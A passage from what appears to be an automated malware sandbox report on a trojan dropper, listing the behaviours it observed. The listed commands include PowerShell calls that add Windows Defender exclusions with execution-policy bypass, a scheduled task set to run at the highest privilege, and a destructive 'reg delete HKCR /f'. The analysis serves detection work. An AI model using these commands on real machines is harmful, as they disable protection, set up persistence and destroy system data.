Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Desktop\desktop.ini
Source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: KD:\sources\replacementmanifests\microsoft-hyper-v-migration-replacement.man
Source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: RD:\sources\replacementmanifests\microsoft-hyper-v-client-migration-replacement.man
Source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SD:\sources\replacementmanifests\microsoft-hyper-v-drivers-migration-replacement.man
Source: Bootstrapper.exe, 00000003.00000002.2139127461.00000247D7D4A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}
Source: Bootstrapper.exe, 00000003.00000002.2132346409.00000247BD99E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllRRp
Source: svchost.exe, 0000001F.00000002.4501089689.0000014635854000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: BootstrapperV21.exe, 00000002.00000002.4851659921.000000001B765000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll60
Source: svchost.exe, 0000001F.00000002.4496827285.000001463022B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW l
Source: BootstrapperV1.22.exe, 00000008.00000002.2509078792.000001AC8CA8E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Code function: 39_2_00000207DE5869B2 rdtsc 39_2_00000207DE5869B2
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C76D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF6373C76D8
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373D0D20 GetProcessHeap, 0_2_00007FF6373D0D20
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\explorer.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\explorer.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\explorer.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C76D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF6373C76D8
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C2510 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00007FF6373C2510
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C3354 SetUnhandledExceptionFilter, 0_2_00007FF6373C3354
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C3170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF6373C3170
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DD6940 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 33_2_00007FF789DD6940
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DD5CE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 33_2_00007FF789DD5CE0
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DDAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 33_2_00007FF789DDAC68
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DD6B24 SetUnhandledExceptionFilter, 33_2_00007FF789DD6B24
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: BootstrapperV1.22.exe PID: 7376, type: MEMORYSTR
Source: Yara match File source: \Device\ConDrv, type: DROPPED
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe'
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\explorer.exe'
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\explorer.exe' Jump to behavior
Bypasses PowerShell execution policy
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe'
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373BB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 0_2_00007FF6373BB190
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Process created: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe "C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe" Jump to behavior
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Process created: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BootstrapperV21.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\explorer.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe' Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\user\AppData\Roaming\explorer.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Process created: C:\Users\user\AppData\Local\Temp\voosiq.exe "C:\Users\user\AppData\Local\Temp\voosiq.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Process created: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe "C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe" --oldBootstrapper "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe" --isUpdate true Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Process created: C:\Users\user\AppData\Local\Temp\TrojanXD.exe "C:\Users\user\AppData\Local\Temp\TrojanXD.exe"
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\script.vbs"
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\reg.exe reg delete HKCR /f
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373D58E0 cpuid 0_2_00007FF6373D58E0
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: GetLocaleInfoW,GetNumberFormatW, 0_2_00007FF6373BA2CC
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: GetLocaleInfoW,GetNumberFormatW, 33_2_00007FF789DCDE44
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Queries volume information: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Queries volume information: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
